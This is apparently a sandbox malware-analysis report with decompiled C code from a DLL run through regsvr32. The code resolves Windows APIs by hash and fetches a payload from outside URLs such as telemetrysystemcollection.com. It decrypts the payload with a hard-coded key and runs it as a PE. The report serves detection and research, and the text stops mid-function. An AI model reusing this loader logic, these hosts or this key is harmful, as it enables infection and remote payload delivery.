						_v36 =  *((intOrPtr*)(_v88 + 0x18));
						while(1) {
							_v212 = _v36;
							_v36 = _v36 - 1;
							if(_v212 == 0) {
								goto L14;
							}
							_v216 = _v92 +  *((intOrPtr*)(_v92 +  *((intOrPtr*)(_v88 + 0x20)) + _v36 * 4));
							_v172 = _v216;
							_v108 = 0x811c9dc5;
							while(1) {
								_v21 =  *_v172;
								_v172 = _v172 + 1;
								_v17 = _v21;
								if(_v17 == 0) {
									break;
								}
								_v108 = (_v17 ^ _v108) * 0x1000193;
							}
							_v220 = _v108;
							if(_v220 != 0xbf0306f6) {
								continue;
							} else {
								_v228 = _v92 +  *((intOrPtr*)(_v88 + 0x1c));
								_v224 = _v92 +  *((intOrPtr*)(_v88 + 0x24));
								_v232 = _v92 +  *((intOrPtr*)(_v228 + ( *(_v224 + _v36 * 2) & 0x0000ffff) * 4));
								_v116 = _v232;
							}
							goto L16;
						}
					}
					goto L14;
					L16:
					_v244 =  &_v188;
					_v248 =  *_v244;
					_v116(_v248);
					E6DA9A830(_v40, "FuHZu4rQgn3eqLZ6FB48Deybj49xEUCtDTAmF", 0x25, _v40, _v32);
					E6DA9AA10( &_v608, _v40, 0x40);
					if((_v608 & 0x0000ffff) != 0x5a4d) {
						_v260 = _v40;
						L6DADA2B2(_v260);
						_t669 =  *0x6daf4a84; // 0x6daf4bb4
						_v176 = E6DA98300(_t669);
						_v48 = E6DA9DF70(_v176,  &_v32);
						_v136 = _v456;
						_v264 =  *[fs:0x30];
						_v268 =  *((intOrPtr*)(_v264 + 0xc));
						_v272 =  *((intOrPtr*)(_v268 + 0xc));
						_v132 = _v272;
						do {
							_v60 =  *((intOrPtr*)(_v132 + 0x18));
							_v104 = _v60;
							_v276 = _v60 +  *((intOrPtr*)(_v60 + 0x3c));
							_t588 = _v276;
							_v408 =  *((intOrPtr*)(_t588 + 0x78));
							_v404 =  *((intOrPtr*)(_t588 + 0x7c));
							_v100 = _v60 + _v408;
							_v96 = _v404;
							if(_v100 == _v104) {
								_v196 = 0;
							} else {
								_v196 = 1;
							}
							_v23 = _v196;
							if((_v23 & 0x000000ff) != 0) {
								_v44 =  *((intOrPtr*)(_v100 + 0x18));
								while(1) {
									_v280 = _v44;
									_v44 = _v44 - 1;
									if(_v280 == 0) {
										goto L34;
									}
									_v284 = _v104 +  *((intOrPtr*)(_v104 +  *((intOrPtr*)(_v100 + 0x20)) + _v44 * 4));
									_v124 = _v284;
									_v128 = 0x811c9dc5;
									while(1) {
										_v24 =  *_v124;
										_v124 = _v124 + 1;
										_v18 = _v24;
										if(_v18 == 0) {
											break;
										}
										_v128 = (_v18 ^ _v128) * 0x1000193;
									}
									_v288 = _v128;
									if(_v288 != 0xbf0306f6) {
										continue;
									} else {
										_v296 = _v104 +  *((intOrPtr*)(_v100 + 0x1c));
										_v292 = _v104 +  *((intOrPtr*)(_v100 + 0x24));
										_v300 = _v104 +  *((intOrPtr*)(_v296 + ( *(_v292 + _v44 * 2) & 0x0000ffff) * 4));
										_v136 = _v300;
									}
									goto L36;
								}
							}
							goto L34;
							L36:
							_v312 =  &_v176;
							_v316 =  *_v312;
							_v136(_v316);
							E6DA9A830(_v48, "FuHZu4rQgn3eqLZ6FB48Deybj49xEUCtDTAmF", 0x25, _v48, _v32);
							E6DA9AA10( &_v544, _v48, 0x40);
							if((_v544 & 0x0000ffff) != 0x5a4d) {
								_v328 = _v48;
								L6DADA2B2(_v328);
								_t682 =  *0x6daf4a80; // 0x6daf4bf8
								_v184 = E6DA98300(_t682);
								_v68 = E6DA9DF70(_v184,  &_v32);
								_v156 = _v432;
								_v332 =  *[fs:0x30];
								_v336 =  *((intOrPtr*)(_v332 + 0xc));
								_v340 =  *((intOrPtr*)(_v336 + 0xc));
								_v152 = _v340;
								do {
									_v64 =  *((intOrPtr*)(_v152 + 0x18));
									_v80 = _v64;
									_v344 = _v64 +  *((intOrPtr*)(_v64 + 0x3c));
									_t604 = _v344;
									_v416 =  *((intOrPtr*)(_t604 + 0x78));
									_v412 =  *((intOrPtr*)(_t604 + 0x7c));
									_v76 = _v64 + _v416;
									_v72 = _v412;
									if(_v76 == _v80) {
										_v180 = 0;
									} else {
										_v180 = 1;
									}
									_v26 = _v180;
									if((_v26 & 0x000000ff) != 0) {
										_v52 =  *((intOrPtr*)(_v76 + 0x18));
										while(1) {
											_v348 = _v52;
											_v52 = _v52 - 1;
											if(_v348 == 0) {
												goto L54;
											}
											_v352 = _v80 +  *((intOrPtr*)(_v80 +  *((intOrPtr*)(_v76 + 0x20)) + _v52 * 4));
											_v144 = _v352;
											_v164 = 0x811c9dc5;
											while(1) {
												_v27 =  *_v144;
												_v144 = _v144 + 1;
												_v19 = _v27;
												if(_v19 == 0) {
													break;
												}
												_v164 = (_v19 ^ _v164) * 0x1000193;
											}
											_v356 = _v164;
											if(_v356 != 0xbf0306f6) {
												continue;
											} else {
												_v364 = _v80 +  *((intOrPtr*)(_v76 + 0x1c));
												_v360 = _v80 +  *((intOrPtr*)(_v76 + 0x24));
												_v368 = _v80 +  *((intOrPtr*)(_v364 + ( *(_v360 + _v52 * 2) & 0x0000ffff) * 4));
												_v156 = _v368;
											}
											goto L56;
										}
									}
									goto L54;
									L56:
									_v380 =  &_v184;
									_v384 =  *_v380;
									_v156(_v384);
									E6DA9A830(_v68, "FuHZu4rQgn3eqLZ6FB48Deybj49xEUCtDTAmF", 0x25, _v68, _v32);
									E6DA9AA10( &_v544, _v68, 0x40);
									if((_v544 & 0x0000ffff) != 0x5a4d) {
										ExitProcess(0);
									}
									_v160 = E6DA99700(_v68);
									_t488 =  *0x6daf4a8c; // 0x6daf4ad0
									 *0x6daf4a94 = E6DA962E0(_v160, _t488);
									if( *0x6daf4a94 == 0) {
										E6DA96280(_v160);
										_v388 = E6DA92080(L"Kernel32.dll", 0);
										_v388(0);
									}
									 *0x6daf4a94();
									_v392 = _v68;
									L6DADA2B2(_v392);
									E6DA96280(_v160);
									goto L61;
									L54:
									_v372 = _v152;
									_v376 =  *_v372;
									_v152 = _v376;
									_v28 = 1;
								} while ((_v28 & 0x000000ff) != 0);
								_v156 = 0;
								goto L56;
							} else {
								_v140 = E6DA99700(_v48);
								_t515 =  *0x6daf4a8c; // 0x6daf4ad0
								 *0x6daf4a94 = E6DA962E0(_v140, _t515);
								if( *0x6daf4a94 == 0) {
									E6DA96280(_v140);
									_v320 = E6DA92080(L"Kernel32.dll", 0);
									_v320(0);
								}
								 *0x6daf4a94();
								_v324 = _v48;
								L6DADA2B2(_v324);
								E6DA96280(_v140);
							}
							goto L61;
							L34:
							_v304 = _v132;
							_v308 =  *_v304;
							_v132 = _v308;
							_v25 = 1;
						} while ((_v25 & 0x000000ff) != 0);
						_v136 = 0;
						goto L36;
					} else {
						_v120 = E6DA99700(_v40);
						_t540 =  *0x6daf4a8c; // 0x6daf4ad0
						 *0x6daf4a94 = E6DA962E0(_v120, _t540);
						if( *0x6daf4a94 == 0) {
							E6DA96280(_v120);
							_v252 = E6DA92080(L"Kernel32.dll", 0);
							_v252(0);
						}
						 *0x6daf4a94();
						_v256 = _v40;
						L6DADA2B2(_v256);
						E6DA96280(_v120);
					}
					L61:
					_v8 = 0;
					E6DA9A8F0( &_v468);
					_v8 = 0xffffffff;
					_t495 = E6DA9A8F0( &_v480);
					 *[fs:0x0] = _v16;
					return _t495;
					L14:
					_v236 = _v112;
					_v240 =  *_v236;
					_v112 = _v240;
					_v22 = 1;
				} while ((_v22 & 0x000000ff) != 0);
				_v116 = 0;
				goto L16;
			}

0x6da99913
0x6da99915
0x6da99920
0x6da99921
0x6da9992e
0x6da99935
0x6da9993f
0x6da9994f
0x6da9995b
0x6da99967
0x6da99973
0x6da99980
0x6da9998d
0x6da99993
0x6da999a0
0x6da999ac
0x6da999b8
0x6da999c4
0x6da999d1
0x6da999de
0x6da999e4
0x6da999e8
0x6da999ee
0x6da999f3
0x6da99a09
0x6da99a12
0x6da99a1c
0x6da99a2b
0x6da99a3a
0x6da99a46
0x6da99a49
0x6da99a4f
0x6da99a55
0x6da99a61
0x6da99a6f
0x6da99a7d
0x6da99a83
0x6da99a92
0x6da99a9b
0x6da99aa4
0x6da99ab2
0x6da99aa6
0x6da99aa6
0x6da99aa6
0x6da99ac2
0x6da99acb
0x6da99ad7
0x6da99ada
0x6da99add
0x6da99ae9
0x6da99af3
0x00000000
0x00000000
0x6da99b0b
0x6da99b17
0x6da99b1d
0x6da99b24
0x6da99b2c
0x6da99b38
0x6da99b41
0x6da99b4a
0x00000000
0x00000000
0x6da99b65
0x6da99b65
0x6da99b4f
0x6da99b74
0x00000000
0x6da99b76
0x6da99b7f
0x6da99b8e
0x6da99bad
0x6da99bb9
0x6da99bb9
0x00000000
0x6da99b74
0x6da99ada
0x00000000
0x6da99bfa
0x6da99c00
0x6da99c0e
0x6da99c1b
0x6da99c2d
0x6da99c3f
0x6da99c51
0x6da99cce
0x6da99cdb
0x6da99ce3
0x6da99cef
0x6da99d05
0x6da99d0e
0x6da99d1a
0x6da99d29
0x6da99d38
0x6da99d44
0x6da99d47
0x6da99d4d
0x6da99d53
0x6da99d5f
0x6da99d6d
0x6da99d7b
0x6da99d81
0x6da99d90
0x6da99d99
0x6da99da2
0x6da99db0
0x6da99da4
0x6da99da4
0x6da99da4
0x6da99dc0
0x6da99dc9
0x6da99dd5
0x6da99dd8
0x6da99ddb
0x6da99de7
0x6da99df1
0x00000000
0x00000000
0x6da99e09
0x6da99e15
0x6da99e18
0x6da99e1f
0x6da99e24
0x6da99e2d
0x6da99e33
0x6da99e3c
0x00000000
0x00000000
0x6da99e57
0x6da99e57
0x6da99e41
0x6da99e66
0x00000000
0x6da99e68
0x6da99e71
0x6da99e80
0x6da99e9f
0x6da99eab
0x6da99eab
0x00000000
0x6da99e66
0x6da99dd8
0x00000000
0x6da99ef2
0x6da99ef8
0x6da99f06
0x6da99f13
0x6da99f28
0x6da99f3a
0x6da99f4c
0x6da99fd9
0x6da99fe6
0x6da99fee
0x6da99ffa
0x6da9a010
0x6da9a019
0x6da9a025
0x6da9a034
0x6da9a043
0x6da9a04f
0x6da9a055
0x6da9a05e
0x6da9a064
0x6da9a070
0x6da9a07e
0x6da9a08c
0x6da9a092
0x6da9a0a1
0x6da9a0aa
0x6da9a0b3
0x6da9a0c1
0x6da9a0b5
0x6da9a0b5
0x6da9a0b5
0x6da9a0d1
0x6da9a0da
0x6da9a0e6
0x6da9a0e9
0x6da9a0ec
0x6da9a0f8
0x6da9a102
0x00000000
0x00000000
0x6da9a11a
0x6da9a126
0x6da9a12c
0x6da9a136
0x6da9a13e
0x6da9a14a
0x6da9a153
0x6da9a15c
0x00000000
0x00000000
0x6da9a17d
0x6da9a17d
0x6da9a164
0x6da9a18f
0x00000000
0x6da9a191
0x6da9a19a
0x6da9a1a9
0x6da9a1c8
0x6da9a1d4
0x6da9a1d4
0x00000000
0x6da9a18f
0x6da9a0e9
0x00000000
0x6da9a221
0x6da9a227
0x6da9a235
0x6da9a242
0x6da9a257
0x6da9a269
0x6da9a27b
0x6da9a27f
0x6da9a27f
0x6da9a28e
0x6da9a294
0x6da9a2a6
0x6da9a2b2
0x6da9a2bb
0x6da9a2cc
0x6da9a2d4
0x6da9a2d4
0x6da9a2da
0x6da9a2e3
0x6da9a2f0
0x6da9a2ff
0x00000000
0x6da9a1e1
0x6da9a1e7
0x6da9a1f5
0x6da9a201
0x6da9a207
0x6da9a20f
0x6da9a217
0x00000000
0x6da99f52
0x6da99f5b
0x6da99f61
0x6da99f73
0x6da99f7f
0x6da99f88
0x6da99f99
0x6da99fa1
0x6da99fa1
0x6da99fa7
0x6da99fb0
0x6da99fbd
0x6da99fcc
0x6da99fcc
0x00000000
0x6da99eb8
0x6da99ebb
0x6da99ec9
0x6da99ed5
0x6da99ed8
0x6da99ee0
0x6da99ee8
0x00000000
0x6da99c53
0x6da99c5c
0x6da99c5f
0x6da99c6e
0x6da99c7a
0x6da99c80
0x6da99c91
0x6da99c99
0x6da99c99
0x6da99c9f
0x6da99ca8
0x6da99cb5
0x6da99cc1
0x6da99cc1
0x6da9a304
0x6da9a304
0x6da9a30e
0x6da9a313
0x6da9a320
0x6da9a328
0x6da9a332
0x6da99bc3
0x6da99bc6
0x6da99bd4
0x6da99be0
0x6da99be3
0x6da99beb
0x6da99bf3
0x00000000

APIs

Part of subcall function 6DA98300: InternetCheckConnectionA.WININET(?,?,?), ref: 6DA985ED

ExitProcess.KERNEL32 ref: 6DA9A27F

Strings

DllRegisterServer, xrefs: 6DA99C64, 6DA99F66, 6DA9A299
https://telemetrysystemcollection.com/m8YYdu/mCQ2U9/home.aspx, xrefs: 6DA999ED
FuHZu4rQgn3eqLZ6FB48Deybj49xEUCtDTAmF, xrefs: 6DA99C28, 6DA99F23, 6DA9A252
http://collectiontelemetrysystem.com/m8YYdu/mCQ2U9/home.aspx, xrefs: 6DA99CE9
http://telemetrysystemcollection.com/m8YYdu/mCQ2U9/home.aspx, xrefs: 6DA99FF4
Kernel32.dll, xrefs: 6DA99C87, 6DA99F8F, 6DA9A2C2

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: CheckConnectionExitInternetProcess
String ID: DllRegisterServer$FuHZu4rQgn3eqLZ6FB48Deybj49xEUCtDTAmF$Kernel32.dll$http://collectiontelemetrysystem.com/m8YYdu/mCQ2U9/home.aspx$http://telemetrysystemcollection.com/m8YYdu/mCQ2U9/home.aspx$https://telemetrysystemcollection.com/m8YYdu/mCQ2U9/home.aspx
API String ID: 3732199522-2241756943
Opcode ID: 92d3f1dc90a16a5214e90e7d3acc054150651aa1df04e21c1488420c688b12cc
Instruction ID: d020710be8f5c9148a72d89a674f9384d9f0ecaecafe6ddcb684dbfc45d632d8
Opcode Fuzzy Hash: 92d3f1dc90a16a5214e90e7d3acc054150651aa1df04e21c1488420c688b12cc
Instruction Fuzzy Hash: 7B62B174E182689FDB64CFA8C990BEEBBB1BF49304F1481D9D509AB345D734AA81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6DA968E0 Relevance: 10.1, APIs: 3, Strings: 2, Instructions: 1395
libraryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E6DA968E0() {
				signed char _v5;
				signed char _v6;
				signed char _v7;
				signed char _v8;
				signed char _v9;
				signed char _v10;
				signed char _v11;
				signed char _v12;
				signed char _v13;
				char _v14;
				signed char _v15;
				void* _v16;
				signed int _v17;
				char _v18;
				char _v19;
				signed char _v20;
				void* _v21;
				signed int _v22;
				char _v23;
				char _v24;
				signed char _v25;
				void* _v26;
				signed int _v27;
				char _v28;
				char _v29;
				signed char _v30;
				void* _v31;
				signed int _v32;
				char _v33;
				char _v34;
				signed char _v35;
				void* _v36;
				signed int _v37;
				char _v38;
				char _v39;
				signed char _v40;
				void* _v41;
				signed int _v42;
				char _v43;
				char _v44;
				signed char _v45;
				void* _v46;
				signed int _v47;
				char _v48;
				char _v49;
				signed char _v50;
				void* _v51;
				signed int _v52;
				char _v53;
				char _v54;
				signed char _v55;
				void* _v56;
				signed int _v57;
				char _v58;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				char _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr* _v248;
				signed int _v252;
				intOrPtr* _v256;
				intOrPtr _v260;
				intOrPtr* _v264;
				signed int _v268;
				intOrPtr* _v272;
				intOrPtr _v276;
				intOrPtr* _v280;
				signed int _v284;
				intOrPtr* _v288;
				intOrPtr _v292;
				intOrPtr* _v296;
				signed int _v300;
				intOrPtr* _v304;
				intOrPtr _v308;
				intOrPtr* _v312;
				signed int _v316;
				intOrPtr* _v320;
				intOrPtr _v324;
				intOrPtr* _v328;
				signed int _v332;
				intOrPtr* _v336;
				intOrPtr _v340;
				intOrPtr* _v344;
				signed int _v348;
				intOrPtr _v352;
				intOrPtr* _v356;
				intOrPtr* _v360;
				signed int _v364;
				intOrPtr* _v368;
				intOrPtr _v372;
				intOrPtr* _v376;
				signed int _v380;
				intOrPtr* _v384;
				intOrPtr _v388;
				signed char _v392;
				intOrPtr _v396;
				char _v400;
				signed char _v404;
				intOrPtr _v408;
				char _v412;
				signed char _v416;
				signed char _v420;
				char _v424;
				intOrPtr _v428;
				CHAR* _v432;
				char _v436;
				signed char _v440;
				CHAR* _v444;
				char _v448;
				signed char _v452;
				intOrPtr _v456;
				signed char _v460;
				char _v464;
				signed char _v468;
				intOrPtr _v472;
				char _v476;
				signed char _v480;
				CHAR* _v484;
				char _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr* _v500;
				intOrPtr _v504;
				char _v508;
				intOrPtr* _v512;
				intOrPtr _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr* _v540;
				intOrPtr _v544;
				signed int _v548;
				intOrPtr* _v552;
				signed int _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr* _v572;
				intOrPtr _v576;
				char _v580;
				intOrPtr* _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr* _v612;
				intOrPtr _v616;
				signed int _v620;
				intOrPtr* _v624;
				signed int _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr* _v644;
				intOrPtr _v648;
				char _v652;
				intOrPtr* _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				CHAR* _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v680;
				intOrPtr* _v684;
				intOrPtr _v688;
				signed int _v692;
				intOrPtr* _v696;
				signed int _v700;
				intOrPtr _v704;
				intOrPtr _v708;
				intOrPtr _v712;
				intOrPtr* _v716;
				intOrPtr _v720;
				char _v724;
				intOrPtr* _v728;
				intOrPtr _v732;
				intOrPtr _v736;
				intOrPtr _v740;
				intOrPtr _v744;
				intOrPtr _v748;
				intOrPtr _v752;
				intOrPtr* _v756;
				intOrPtr _v760;
				signed int _v764;
				intOrPtr* _v768;
				signed int _v772;
				intOrPtr _v776;
				intOrPtr _v780;
				intOrPtr _v784;
				intOrPtr* _v788;
				intOrPtr _v792;
				char _v796;
				intOrPtr* _v800;
				intOrPtr _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _v816;
				intOrPtr _v820;
				intOrPtr _v824;
				intOrPtr* _v828;
				intOrPtr _v832;
				signed int _v836;
				intOrPtr* _v840;
				signed int _v844;
				intOrPtr _v848;
				intOrPtr _v852;
				intOrPtr _v856;
				intOrPtr* _v860;
				intOrPtr _v864;
				char _v868;
				intOrPtr* _v872;
				intOrPtr _v876;
				intOrPtr _v880;
				intOrPtr _v884;
				intOrPtr _v888;
				intOrPtr _v892;
				intOrPtr _v896;
				intOrPtr* _v900;
				intOrPtr _v904;
				signed int _v908;
				intOrPtr* _v912;
				signed int _v916;
				intOrPtr _v920;
				intOrPtr _v924;
				intOrPtr _v928;
				intOrPtr* _v932;
				intOrPtr _v936;
				char _v940;
				intOrPtr* _v944;
				intOrPtr _v948;
				intOrPtr _v952;
				CHAR* _v956;
				intOrPtr _v960;
				intOrPtr _v964;
				intOrPtr _v968;
				intOrPtr* _v972;
				intOrPtr _v976;
				signed int _v980;
				intOrPtr* _v984;
				signed int _v988;
				intOrPtr _v992;
				intOrPtr _v996;
				intOrPtr _v1000;
				intOrPtr* _v1004;
				intOrPtr _v1008;
				char _v1012;
				intOrPtr* _v1016;
				intOrPtr _v1020;
				intOrPtr _v1024;
				CHAR* _v1028;
				intOrPtr _v1032;
				intOrPtr _v1036;
				intOrPtr _v1040;
				intOrPtr* _v1044;
				intOrPtr _v1048;
				intOrPtr _v1052;
				intOrPtr* _v1056;
				signed int _v1060;
				intOrPtr _v1064;
				intOrPtr _v1068;
				intOrPtr _v1072;
				intOrPtr* _v1076;
				intOrPtr _v1080;
				char _v1084;
				intOrPtr* _v1088;
				intOrPtr _v1092;
				intOrPtr _v1096;
				intOrPtr _v1100;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				intOrPtr _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				intOrPtr _v1136;
				intOrPtr _v1140;
				intOrPtr _v1144;
				intOrPtr _v1148;
				intOrPtr _v1152;
				intOrPtr _v1156;
				intOrPtr _v1160;
				intOrPtr _v1164;
				intOrPtr _v1168;
				intOrPtr _v1172;
				intOrPtr _v1176;
				intOrPtr _v1180;
				intOrPtr* _v1184;
				intOrPtr _v1188;
				signed int _v1192;
				intOrPtr* _v1196;
				signed int _v1200;
				intOrPtr _v1204;
				intOrPtr _v1208;
				signed int _v1212;
				intOrPtr _v1216;
				intOrPtr _v1220;
				intOrPtr _v1224;
				intOrPtr _v1228;
				intOrPtr _v1232;
				intOrPtr _v1236;
				intOrPtr _v1240;
				intOrPtr _v1244;
				intOrPtr _v1248;
				intOrPtr _t1387;
				intOrPtr _t1468;
				intOrPtr _t1483;
				intOrPtr _t1498;
				intOrPtr _t1513;
				intOrPtr _t1528;
				intOrPtr _t1543;
				intOrPtr _t1558;
				intOrPtr _t1573;
				intOrPtr _t1698;

				_v14 = 0;
				_v100 = E6DA93FE0( &_v14);
				if(( *(_v100 + 0xc) & 0x000000ff) != 0) {
					E6DA9F3D0(_v100, 0xc, 0, 0x7edb509, 0x1010101);
					 *(_v100 + 0xc) = 0;
				}
				_v508 = _v100;
				_v372 = _v1216;
				_v892 =  *[fs:0x30];
				_v1180 =  *((intOrPtr*)(_v892 + 0xc));
				_v1184 =  *((intOrPtr*)(_v1180 + 0xc));
				_v368 = _v1184;
				do {
					_v104 =  *((intOrPtr*)(_v368 + 0x18));
					_v172 = _v104;
					_v1188 = _v104 +  *((intOrPtr*)(_v104 + 0x3c));
					_t1698 = _v1188;
					_v1112 =  *((intOrPtr*)(_t1698 + 0x78));
					_v1108 =  *((intOrPtr*)(_t1698 + 0x7c));
					_v168 = _v104 + _v1112;
					_v164 = _v1108;
					if(_v168 == _v172) {
						_v420 = 0;
					} else {
						_v420 = 1;
					}
					_v15 = _v420;
					if((_v15 & 0x000000ff) != 0) {
						_v64 =  *((intOrPtr*)(_v168 + 0x18));
						while(1) {
							_v1192 = _v64;
							_v64 = _v64 - 1;
							if(_v1192 == 0) {
								goto L16;
							}
							_v1196 = _v172 +  *((intOrPtr*)(_v172 +  *((intOrPtr*)(_v168 + 0x20)) + _v64 * 4));
							_v360 = _v1196;
							_v364 = 0x811c9dc5;
							while(1) {
								_v16 =  *_v360;
								_v360 = _v360 + 1;
								_v5 = _v16;
								if(_v5 == 0) {
									break;
								}
								_v364 = (_v5 ^ _v364) * 0x1000193;
							}
							_v1200 = _v364;
							if(_v1200 != 0xe463da3c) {
								continue;
							} else {
								_v1208 = _v172 +  *((intOrPtr*)(_v168 + 0x1c));
								_v1204 = _v172 +  *((intOrPtr*)(_v168 + 0x24));
								_v496 = _v172 +  *((intOrPtr*)(_v1208 + ( *(_v1204 + _v64 * 2) & 0x0000ffff) * 4));
								_v372 = _v496;
							}
							goto L18;
						}
					}
					goto L16;
					L18:
					_v512 =  &_v508;
					_v516 =  *_v512;
					_v520 = _v372(_v516);
					if(_v520 == 0) {
						_v18 = 0;
						_v528 = E6DA91FF0(L"KERNEL32.dll", 0);
						_v428 = E6DA940D0( &_v18);
						E6DA9F670(_v428);
						_v524 = _v428;
						_v528(_v524);
					}
					_v19 = 0;
					_v464 = E6DA94FD0( &_v19);
					E6DA9F730(_v464);
					_v580 = _v464;
					_v388 = _v1220;
					_v532 =  *[fs:0x30];
					_v536 =  *((intOrPtr*)(_v532 + 0xc));
					_v540 =  *((intOrPtr*)(_v536 + 0xc));
					_v384 = _v540;
					do {
						_v108 =  *((intOrPtr*)(_v384 + 0x18));
						_v184 = _v108;
						_v544 = _v108 +  *((intOrPtr*)(_v108 + 0x3c));
						_t1468 = _v544;
						_v1120 =  *((intOrPtr*)(_t1468 + 0x78));
						_v1116 =  *((intOrPtr*)(_t1468 + 0x7c));
						_v180 = _v108 + _v1120;
						_v176 = _v1116;
						if(_v180 == _v184) {
							_v468 = 0;
						} else {
							_v468 = 1;
						}
						_v20 = _v468;
						if((_v20 & 0x000000ff) != 0) {
							_v68 =  *((intOrPtr*)(_v180 + 0x18));
							while(1) {
								_v548 = _v68;
								_v68 = _v68 - 1;
								if(_v548 == 0) {
									goto L34;
								}
								_v552 = _v184 +  *((intOrPtr*)(_v184 +  *((intOrPtr*)(_v180 + 0x20)) + _v68 * 4));
								_v376 = _v552;
								_v380 = 0x811c9dc5;
								while(1) {
									_v21 =  *_v376;
									_v376 = _v376 + 1;
									_v6 = _v21;
									if(_v6 == 0) {
										break;
									}
									_v380 = (_v6 ^ _v380) * 0x1000193;
								}
								_v556 = _v380;
								if(_v556 != 0xe463da3c) {
									continue;
								} else {
									_v564 = _v184 +  *((intOrPtr*)(_v180 + 0x1c));
									_v560 = _v184 +  *((intOrPtr*)(_v180 + 0x24));
									_v568 = _v184 +  *((intOrPtr*)(_v564 + ( *(_v560 + _v68 * 2) & 0x0000ffff) * 4));
									_v388 = _v568;
								}
								goto L36;
							}
						}
						goto L34;
						L36:
						_v584 =  &_v580;
						_v588 =  *_v584;
						_v592 = _v388(_v588);
						if(_v592 == 0) {
							_v23 = 0;
							_v600 = E6DA91FF0(L"KERNEL32.dll", 0);
							_v472 = E6DA94D30( &_v23);
							E6DA9F7B0(_v472);
							_v596 = _v472;
							_v600(_v596);
						}
						_v24 = 0;
						_v476 = E6DA93560( &_v24);
						E6DA9F570(_v476);
						_v652 = _v476;
						_v260 = _v1224;
						_v604 =  *[fs:0x30];
						_v608 =  *((intOrPtr*)(_v604 + 0xc));
						_v612 =  *((intOrPtr*)(_v608 + 0xc));
						_v256 = _v612;
						do {
							_v112 =  *((intOrPtr*)(_v256 + 0x18));
							_v196 = _v112;
							_v616 = _v112 +  *((intOrPtr*)(_v112 + 0x3c));
							_t1483 = _v616;
							_v1128 =  *((intOrPtr*)(_t1483 + 0x78));
							_v1124 =  *((intOrPtr*)(_t1483 + 0x7c));
							_v192 = _v112 + _v1128;
							_v188 = _v1124;
							if(_v192 == _v196) {
								_v480 = 0;
							} else {
								_v480 = 1;
							}
							_v25 = _v480;
							if((_v25 & 0x000000ff) != 0) {
								_v72 =  *((intOrPtr*)(_v192 + 0x18));
								while(1) {
									_v620 = _v72;
									_v72 = _v72 - 1;
									if(_v620 == 0) {
										goto L52;
									}
									_v624 = _v196 +  *((intOrPtr*)(_v196 +  *((intOrPtr*)(_v192 + 0x20)) + _v72 * 4));
									_v248 = _v624;
									_v252 = 0x811c9dc5;
									while(1) {
										_v26 =  *_v248;
										_v248 = _v248 + 1;
										_v7 = _v26;
										if(_v7 == 0) {
											break;
										}
										_v252 = (_v7 ^ _v252) * 0x1000193;
									}
									_v628 = _v252;
									if(_v628 != 0xe463da3c) {
										continue;
									} else {
										_v636 = _v196 +  *((intOrPtr*)(_v192 + 0x1c));
										_v632 = _v196 +  *((intOrPtr*)(_v192 + 0x24));
										_v640 = _v196 +  *((intOrPtr*)(_v636 + ( *(_v632 + _v72 * 2) & 0x0000ffff) * 4));
										_v260 = _v640;
									}
									goto L54;
								}
							}
							goto L52;
							L54:
							_v656 =  &_v652;
							_v660 =  *_v656;
							_v664 = _v260(_v660);
							if(_v664 == 0) {
								_v28 = 0;
								_t1387 = E6DA91FF0(L"KERNEL32.dll", 0); // executed
								_v672 = _t1387;
								_v484 = E6DA94820( &_v28);
								E6DA9F530(_v484);
								_v668 = _v484;
								LoadLibraryA(_v668);
							}
							_v29 = 0;
							_v488 = E6DA93B60( &_v29);
							E6DA9F5F0(_v488);
							_v724 = _v488;
							_v276 = _v1228;
							_v676 =  *[fs:0x30];
							_v680 =  *((intOrPtr*)(_v676 + 0xc));
							_v684 =  *((intOrPtr*)(_v680 + 0xc));
							_v272 = _v684;
							do {
								_v116 =  *((intOrPtr*)(_v272 + 0x18));
								_v208 = _v116;
								_v688 = _v116 +  *((intOrPtr*)(_v116 + 0x3c));
								_t1498 = _v688;
